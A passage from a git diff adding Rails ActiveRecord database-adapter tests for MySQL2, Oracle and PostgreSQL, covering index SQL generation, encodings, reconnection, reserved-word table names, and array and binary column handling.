+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :length => nil)
+
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10)) "
+ assert_equal expected, add_index(:people, :last_name, :length => 10)
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15)
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15})
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15, :first_name => 10})
+
+ %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+ expected = "CREATE #{type} INDEX `index_people_on_last_name` ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :type => type)
+ end
+
+ %w(btree hash).each do |using|
+ expected = "CREATE INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :using => using)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) "
+ assert_equal expected, add_index(:people, :last_name, :length => 10, :using => :btree)
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY"
+ assert_equal expected, add_index(:people, :last_name, :length => 10, using: :btree, algorithm: :copy)
+
+ assert_raise ArgumentError do
+ add_index(:people, :last_name, algorithm: :coyp)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15, :using => :btree)
+
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.send(:remove_method, :index_name_exists?)
+ end
+
+ def test_drop_table
+ assert_equal "DROP TABLE `people`", drop_table(:people)
+ end
+
+ if current_adapter?(:Mysql2Adapter)
+ def test_create_mysql_database_with_encoding
+ assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
+ assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'})
+ assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci})
+ end
+
+ def test_recreate_mysql_database_with_encoding
+ create_database(:luca, {:charset => 'latin1'})
+ assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'})
+ end
+ end
+
+ def test_add_column
+ assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
+ end
+
+ def test_add_column_with_limit
+ assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, :limit => 32)
+ end
+
+ def test_drop_table_with_specific_database
+ assert_equal "DROP TABLE `otherdb`.`people`", drop_table('otherdb.people')
+ end
+
+ def test_add_timestamps
+ with_real_execute do
+ begin
+ ActiveRecord::Base.connection.create_table :delete_me
+ ActiveRecord::Base.connection.add_timestamps :delete_me
+ assert column_present?('delete_me', 'updated_at', 'datetime')
+ assert column_present?('delete_me', 'created_at', 'datetime')
+ ensure
+ ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+ end
+ end
+ end
+
+ def test_remove_timestamps
+ with_real_execute do
+ begin
+ ActiveRecord::Base.connection.create_table :delete_me do |t|
+ t.timestamps
+ end
+ ActiveRecord::Base.connection.remove_timestamps :delete_me
+ assert !column_present?('delete_me', 'updated_at', 'datetime')
+ assert !column_present?('delete_me', 'created_at', 'datetime')
+ ensure
+ ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+ end
+ end
+ end
+
+ private
+ def with_real_execute
+ #we need to actually modify some data, so we make execute point to the original method
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ alias_method :execute_with_stub, :execute
+ remove_method :execute
+ alias_method :execute, :execute_without_stub
+ end
+ yield
+ ensure
+ #before finishing, we restore the alias to the mock-up method
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ remove_method :execute
+ alias_method :execute, :execute_with_stub
+ end
+ end
+
+
+ def method_missing(method_symbol, *arguments)
+ ActiveRecord::Base.connection.send(method_symbol, *arguments)
+ end
+
+ def column_present?(table_name, column_name, type)
+ results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'")
+ results.first && results.first['Type'] == type
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
new file mode 100644
index 0000000..5e8065d
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
@@ -0,0 +1,50 @@
+require "cases/helper"
+require 'models/topic'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class Mysql2Adapter
+ class BindParameterTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_update_question_marks
+ str = "foo?bar"
+ x = Topic.first
+ x.title = str
+ x.content = str
+ x.save!
+ x.reload
+ assert_equal str, x.title
+ assert_equal str, x.content
+ end
+
+ def test_create_question_marks
+ str = "foo?bar"
+ x = Topic.create!(:title => str, :content => str)
+ x.reload
+ assert_equal str, x.title
+ assert_equal str, x.content
+ end
+
+ def test_update_null_bytes
+ str = "foo\0bar"
+ x = Topic.first
+ x.title = str
+ x.content = str
+ x.save!
+ x.reload
+ assert_equal str, x.title
+ assert_equal str, x.content
+ end
+
+ def test_create_null_bytes
+ str = "foo\0bar"
+ x = Topic.create!(:title => str, :content => str)
+ x.reload
+ assert_equal str, x.title
+ assert_equal str, x.content
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
new file mode 100644
index 0000000..6bcc113
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
@@ -0,0 +1,35 @@
+require "cases/helper"
+require 'models/person'
+
+class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
+ class CollationTest < ActiveRecord::Base
+ validates_uniqueness_of :string_cs_column, :case_sensitive => false
+ validates_uniqueness_of :string_ci_column, :case_sensitive => false
+ end
+
+ def test_columns_include_collation_different_from_table
+ assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
+ assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
+ end
+
+ def test_case_sensitive
+ assert !CollationTest.columns_hash['string_ci_column'].case_sensitive?
+ assert CollationTest.columns_hash['string_cs_column'].case_sensitive?
+ end
+
+ def test_case_insensitive_comparison_for_ci_column
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'a')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_no_match(/lower/i, ci_uniqueness_query)
+ end
+
+ def test_case_insensitive_comparison_for_cs_column
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'a')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)}
+ assert_match(/lower/i, cs_uniqueness_query)
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
new file mode 100644
index 0000000..fedd9f6
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -0,0 +1,97 @@
+require "cases/helper"
+
+class MysqlConnectionTest < ActiveRecord::TestCase
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ @connection.extend(LogIntercepter)
+ @connection.intercepted = true
+ end
+
+ def teardown
+ @connection.intercepted = false
+ @connection.logged = []
+ end
+
+ def test_no_automatic_reconnection_after_timeout
+ assert @connection.active?
+ @connection.update('set @@wait_timeout=1')
+ sleep 2
+ assert !@connection.active?
+ end
+
+ def test_successful_reconnection_after_timeout_with_manual_reconnect
+ assert @connection.active?
+ @connection.update('set @@wait_timeout=1')
+ sleep 2
+ @connection.reconnect!
+ assert @connection.active?
+ end
+
+ def test_successful_reconnection_after_timeout_with_verify
+ assert @connection.active?
+ @connection.update('set @@wait_timeout=1')
+ sleep 2
+ @connection.verify!
+ assert @connection.active?
+ end
+
+ # TODO: Below is a straight up copy/paste from mysql/connection_test.rb
+ # I'm not sure what the correct way is to share these tests between
+ # adapters in minitest.
+ def test_mysql_default_in_strict_mode
+ result = @connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal [["STRICT_ALL_TABLES"]], result.rows
+ end
+
+ def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false}))
+ global_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.sql_mode"
+ session_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal global_sql_mode.rows, session_sql_mode.rows
+ end
+ end
+
+ def test_mysql_set_session_variable
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => 3}}))
+ session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+ assert_equal 3, session_mode.rows.first.first.to_i
+ end
+ end
+
+ def test_mysql_set_session_variable_to_default
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
+ global_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.DEFAULT_WEEK_FORMAT"
+ session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+ assert_equal global_mode.rows, session_mode.rows
+ end
+ end
+
+ def test_logs_name_show_variable
+ @connection.show_variable 'foo'
+ assert_equal "SCHEMA", @connection.logged[0][1]
+ end
+
+ def test_logs_name_rename_column_sql
+ @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
+ @connection.logged = []
+ @connection.send(:rename_column_sql, 'bar_baz', 'foo', 'foo2')
+ assert_equal "SCHEMA", @connection.logged[0][1]
+ ensure
+ @connection.execute "DROP TABLE `bar_baz`"
+ end
+
+ private
+
+ def run_without_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ begin
+ yield original_connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/enum_test.rb b/activerecord/test/cases/adapters/mysql2/enum_test.rb
new file mode 100644
index 0000000..6dd9a5e
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/enum_test.rb
@@ -0,0 +1,10 @@
+require "cases/helper"
+
+class Mysql2EnumTest < ActiveRecord::TestCase
+ class EnumTest < ActiveRecord::Base
+ end
+
+ def test_enum_limit
+ assert_equal 6, EnumTest.columns.first.limit
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
new file mode 100644
index 0000000..68ed361
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -0,0 +1,26 @@
+require "cases/helper"
+require 'models/developer'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class Mysql2Adapter
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_explain_for_one_query
+ explain = Developer.where(:id => 1).explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %(developers | const), explain
+ end
+
+ def test_explain_with_eager_loading
+ explain = Developer.where(:id => 1).includes(:audit_logs).explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %(developers | const), explain
+ assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
+ assert_match %(audit_logs | ALL), explain
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
new file mode 100644
index 0000000..e76617b
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
@@ -0,0 +1,152 @@
+require "cases/helper"
+
+class Group < ActiveRecord::Base
+ Group.table_name = 'group'
+ belongs_to :select, :class_name => 'Select'
+ has_one :values
+end
+
+class Select < ActiveRecord::Base
+ Select.table_name = 'select'
+ has_many :groups
+end
+
+class Values < ActiveRecord::Base
+ Values.table_name = 'values'
+end
+
+class Distinct < ActiveRecord::Base
+ Distinct.table_name = 'distinct'
+ has_and_belongs_to_many :selects
+ has_many :values, :through => :groups
+end
+
+# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with
+# reserved word names (ie: group, order, values, etc...)
+class MysqlReservedWordTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ # we call execute directly here (and do similar below) because ActiveRecord::Base#create_table()
+ # will fail with these table names if these test cases fail
+
+ create_tables_directly 'group'=>'id int auto_increment primary key, `order` varchar(255), select_id int',
+ 'select'=>'id int auto_increment primary key',
+ 'values'=>'id int auto_increment primary key, group_id int',
+ 'distinct'=>'id int auto_increment primary key',
+ 'distinct_select'=>'distinct_id int, select_id int'
+ end
+
+ def teardown
+ drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
+ end
+
+ # create tables with reserved-word names and columns
+ def test_create_tables
+ assert_nothing_raised {
+ @connection.create_table :order do |t|
+ t.column :group, :string
+ end
+ }
+ end
+
+ # rename tables with reserved-word names
+ def test_rename_tables
+ assert_nothing_raised { @connection.rename_table(:group, :order) }
+ end
+
+ # alter column with a reserved-word name in a table with a reserved-word name
+ def test_change_columns
+ assert_nothing_raised { @connection.change_column_default(:group, :order, 'whatever') }
+ #the quoting here will reveal any double quoting issues in change_column's interaction with the column method in the adapter
+ assert_nothing_raised { @connection.change_column('group', 'order', :Int, :default => 0) }
+ assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
+ end
+
+ # introspect table with reserved word name
+ def test_introspect
+ assert_nothing_raised { @connection.columns(:group) }
+ assert_nothing_raised { @connection.indexes(:group) }
+ end
+
+ #fixtures
+ self.use_instantiated_fixtures = true
+ self.use_transactional_fixtures = false
+
+ #activerecord model class with reserved-word table name
+ def test_activerecord_model
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ x = nil
+ assert_nothing_raised { x = Group.new }
+ x.order = 'x'
+ assert_nothing_raised { x.save }
+ x.order = 'y'
+ assert_nothing_raised { x.save }
+ assert_nothing_raised { Group.find_by_order('y') }
+ assert_nothing_raised { Group.find(1) }
+ end
+
+ # has_one association with reserved-word table name
+ def test_has_one_associations
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ v = nil
+ assert_nothing_raised { v = Group.find(1).values }
+ assert_equal 2, v.id
+ end
+
+ # belongs_to association with reserved-word table name
+ def test_belongs_to_associations
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ gs = nil
+ assert_nothing_raised { gs = Select.find(2).groups }
+ assert_equal gs.length, 2
+ assert(gs.collect{|x| x.id}.sort == [2, 3])
+ end
+
+ # has_and_belongs_to_many with reserved-word table name
+ def test_has_and_belongs_to_many
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ s = nil
+ assert_nothing_raised { s = Distinct.find(1).selects }
+ assert_equal s.length, 2
+ assert(s.collect{|x|x.id}.sort == [1, 2])
+ end
+
+ # activerecord model introspection with reserved-word table and column names
+ def test_activerecord_introspection
+ assert_nothing_raised { Group.table_exists? }
+ assert_nothing_raised { Group.columns }
+ end
+
+ # Calculations
+ def test_calculations_work_with_reserved_words
+ assert_nothing_raised { Group.count }
+ end
+
+ def test_associations_work_with_reserved_words
+ assert_nothing_raised { Select.all.merge!(:includes => [:groups]).to_a }
+ end
+
+ #the following functions were added to DRY test cases
+
+ private
+ # custom fixture loader, uses FixtureSet#create_fixtures and appends base_path to the current file's path
+ def create_test_fixtures(*fixture_names)
+ ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
+ end
+
+ # custom drop table, uses execute on connection to drop a table if it exists. note: escapes table_name
+ def drop_tables_directly(table_names, connection = @connection)
+ table_names.each do |name|
+ connection.execute("DROP TABLE IF EXISTS `#{name}`")
+ end
+ end
+
+ # custom create table, uses execute on connection to create a table, note: escapes table_name, does NOT escape columns
+ def create_tables_directly (tables, connection = @connection)
+ tables.each do |table_name, column_properties|
+ connection.execute("CREATE TABLE `#{table_name}` ( #{column_properties} )")
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
new file mode 100644
index 0000000..9ecd901
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
@@ -0,0 +1,26 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class Mysql2Adapter
+ class SchemaMigrationsTest < ActiveRecord::TestCase
+ def test_initializes_schema_migrations_for_encoding_utf8mb4
+ conn = ActiveRecord::Base.connection
+
+ smtn = ActiveRecord::Migrator.schema_migrations_table_name
+ conn.drop_table(smtn) if conn.table_exists?(smtn)
+
+ config = conn.instance_variable_get(:@config)
+ original_encoding = config[:encoding]
+
+ config[:encoding] = 'utf8mb4'
+ conn.initialize_schema_migrations_table
+
+ assert conn.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
+ ensure
+ config[:encoding] = original_encoding
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
new file mode 100644
index 0000000..5db60ff
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -0,0 +1,70 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class Mysql2SchemaTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ db = Post.connection_pool.spec.config[:database]
+ table = Post.table_name
+ @db_name = db
+
+ @omgpost = Class.new(ActiveRecord::Base) do
+ self.table_name = "#{db}.#{table}"
+ def self.name; 'Post'; end
+ end
+ end
+
+ def test_schema
+ assert @omgpost.first
+ end
+
+ def test_primary_key
+ assert_equal 'id', @omgpost.primary_key
+ end
+
+ def test_table_exists?
+ name = @omgpost.table_name
+ assert @connection.table_exists?(name), "#{name} table should exist"
+ end
+
+ def test_table_exists_wrong_schema
+ assert(!@connection.table_exists?("#{@db_name}.zomg"), "table should not exist")
+ end
+
+ def test_tables_quoting
+ @connection.tables(nil, "foo-bar", nil)
+ flunk
+ rescue => e
+ # assertion for *quoted* database properly
+ assert_match(/database 'foo-bar'/, e.inspect)
+ end
+
+ def test_dump_indexes
+ index_a_name = 'index_key_tests_on_snack'
+ index_b_name = 'index_key_tests_on_pizza'
+ index_c_name = 'index_key_tests_on_awesome'
+
+ table = 'key_tests'
+
+ indexes = @connection.indexes(table).sort_by {|i| i.name}
+ assert_equal 3,indexes.size
+
+ index_a = indexes.select{|i| i.name == index_a_name}[0]
+ index_b = indexes.select{|i| i.name == index_b_name}[0]
+ index_c = indexes.select{|i| i.name == index_c_name}[0]
+ assert_equal :btree, index_a.using
+ assert_nil index_a.type
+ assert_equal :btree, index_b.using
+ assert_nil index_b.type
+
+ assert_nil index_c.using
+ assert_equal :fulltext, index_c.type
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/sql_types_test.rb b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb
new file mode 100644
index 0000000..1ddb1b9
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb
@@ -0,0 +1,14 @@
+require "cases/helper"
+
+class SqlTypesTest < ActiveRecord::TestCase
+ def test_binary_types
+ assert_equal 'varbinary(64)', type_to_sql(:binary, 64)
+ assert_equal 'varbinary(4095)', type_to_sql(:binary, 4095)
+ assert_equal 'blob(4096)', type_to_sql(:binary, 4096)
+ assert_equal 'blob', type_to_sql(:binary)
+ end
+
+ def type_to_sql(*args)
+ ActiveRecord::Base.connection.type_to_sql(*args)
+ end
+end
diff --git a/activerecord/test/cases/adapters/oracle/synonym_test.rb b/activerecord/test/cases/adapters/oracle/synonym_test.rb
new file mode 100644
index 0000000..b9a422a
--- /dev/null
+++ b/activerecord/test/cases/adapters/oracle/synonym_test.rb
@@ -0,0 +1,17 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/subject'
+
+# confirm that synonyms work just like tables; in this case
+# the "subjects" table in Oracle (defined in oci.sql) is just
+# a synonym to the "topics" table
+
+class TestOracleSynonym < ActiveRecord::TestCase
+
+ def test_oracle_synonym
+ topic = Topic.new
+ subject = Subject.new
+ assert_equal(topic.attributes, subject.attributes)
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
new file mode 100644
index 0000000..1632968
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -0,0 +1,62 @@
+require 'cases/helper'
+
+class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
+ def setup
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
+ def execute(sql, name = nil) sql end
+ end
+ end
+
+ def teardown
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
+ remove_method :execute
+ end
+ end
+
+ def test_create_database_with_encoding
+ assert_equal %(CREATE DATABASE "matt" ENCODING = 'utf8'), create_database(:matt)
+ assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, :encoding => :latin1)
+ assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, 'encoding' => :latin1)
+ end
+
+ def test_create_database_with_collation_and_ctype
+ assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'UTF8' LC_COLLATE = 'ja_JP.UTF8' LC_CTYPE = 'ja_JP.UTF8'), create_database(:aimonetti, :encoding => :"UTF8", :collation => :"ja_JP.UTF8", :ctype => :"ja_JP.UTF8")
+ end
+
+ def test_add_index
+ # add_index calls index_name_exists? which can't work since execute is stubbed
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) do |*|
+ false
+ end
+
+ expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" ("last_name") WHERE state = 'active')
+ assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'")
+
+ expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, algorithm: :concurrently)
+
+ %w(gin gist hash btree).each do |type|
+ expected = %(CREATE INDEX "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, using: type)
+
+ expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, using: type, algorithm: :concurrently)
+ end
+
+ assert_raise ArgumentError do
+ add_index(:people, :last_name, algorithm: :copy)
+ end
+ expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name"))
+ assert_equal expected, add_index(:people, :last_name, :unique => true, :using => :gist)
+
+ expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name") WHERE state = 'active')
+ assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'", :using => :gist)
+
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:remove_method, :index_name_exists?)
+ end
+
+ private
+ def method_missing(method_symbol, *arguments)
+ ActiveRecord::Base.connection.send(method_symbol, *arguments)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
new file mode 100644
index 0000000..61a3a2b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -0,0 +1,104 @@
+# encoding: utf-8
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlArrayTest < ActiveRecord::TestCase
+ class PgArray < ActiveRecord::Base
+ self.table_name = 'pg_arrays'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.create_table('pg_arrays') do |t|
+ t.string 'tags', :array => true
+ end
+ end
+ @column = PgArray.columns.find { |c| c.name == 'tags' }
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists pg_arrays'
+ end
+
+ def test_column
+ assert_equal :string, @column.type
+ assert @column.array
+ end
+
+ def test_type_cast_array
+ assert @column
+
+ data = '{1,2,3}'
+ oid_type = @column.instance_variable_get('@oid_type').subtype
+ # we are getting the instance variable in this test, but in the
+ # normal use of string_to_array, it's called from the OID::Array
+ # class and will have the OID instance that will provide the type
+ # casting
+ array = @column.class.string_to_array data, oid_type
+ assert_equal(['1', '2', '3'], array)
+ assert_equal(['1', '2', '3'], @column.type_cast(data))
+
+ assert_equal([], @column.type_cast('{}'))
+ assert_equal([nil], @column.type_cast('{NULL}'))
+ end
+
+ def test_rewrite
+ @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
+ x = PgArray.first
+ x.tags = ['1','2','3','4']
+ assert x.save!
+ end
+
+ def test_select
+ @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
+ x = PgArray.first
+ assert_equal(['1','2','3'], x.tags)
+ end
+
+ def test_multi_dimensional
+ assert_cycle([['1','2'],['2','3']])
+ end
+
+ def test_strings_with_quotes
+ assert_cycle(['this has','some "s that need to be escaped"'])
+ end
+
+ def test_strings_with_commas
+ assert_cycle(['this,has','many,values'])
+ end
+
+ def test_strings_with_array_delimiters
+ assert_cycle(['{','}'])
+ end
+
+ def test_strings_with_null_strings
+ assert_cycle(['NULL','NULL'])
+ end
+
+ def test_contains_nils
+ assert_cycle(['1',nil,nil])
+ end
+
+ def test_insert_fixture
+ tag_values = ["val1", "val2", "val3_with_'_multiple_quote_'_chars"]
+ @connection.insert_fixture({"tags" => tag_values}, "pg_arrays" )
+ assert_equal(PgArray.last.tags, tag_values)
+ end
+
+ private
+ def assert_cycle array
+ # test creation
+ x = PgArray.create!(:tags => array)
+ x.reload
+ assert_equal(array, x.tags)
+
+ # test updating
+ x = PgArray.create!(:tags => [])
+ x.tags = array
+ x.save!
+ x.reload
+ assert_equal(array, x.tags)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
new file mode 100644
index 0000000..d7d77f9
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -0,0 +1,87 @@
+# encoding: utf-8
+
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlByteaTest < ActiveRecord::TestCase
+ class ByteaDataType < ActiveRecord::Base
+ self.table_name = 'bytea_data_type'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('bytea_data_type') do |t|
+ t.binary 'payload'
+ end
+ end
+ end
+ @column = ByteaDataType.columns.find { |c| c.name == 'payload' }
+ assert(@column.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn))
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists bytea_data_type'
+ end
+
+ def test_column
+ assert_equal :binary, @column.type
+ end
+
+ def test_type_cast_binary_converts_the_encoding
+ assert @column
+
+ data = "\u001F\x8B"
+ assert_equal('UTF-8', data.encoding.name)
+ assert_equal('ASCII-8BIT', @column.type_cast(data).encoding.name)
+ end
+
+ def test_type_cast_binary_value
+ data = "\u001F\x8B".force_encoding("BINARY")
+ assert_equal(data, @column.type_cast(data))
+ end
+
+ def test_type_case_nil
+ assert_equal(nil, @column.type_cast(nil))
+ end
+
+ def test_read_value
+ data = "\u001F"
+ @connection.execute "insert into bytea_data_type (payload) VALUES ('#{data}')"
+ record = ByteaDataType.first
+ assert_equal(data, record.payload)
+ record.delete
+ end
+
+ def test_read_nil_value
+ @connection.execute "insert into bytea_data_type (payload) VALUES (null)"
+ record = ByteaDataType.first
+ assert_equal(nil, record.payload)
+ record.delete
+ end
+
+ def test_write_value
+ data = "\u001F"
+ record = ByteaDataType.create(payload: data)
+ refute record.new_record?
+ assert_equal(data, record.payload)
+ end
+
+ def test_write_binary
+ data = File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'assets', 'example.log'))
+ assert(data.size > 1)
+ record = ByteaDataType.create(payload: data)
+ refute record.new_record?
+ assert_equal(data, record.payload)
+ assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
+ end
+
+ def test_write_nil
+ record = ByteaDataType.create(payload: nil)
+ refute record.new_record?
+ assert_equal(nil, record.payload)
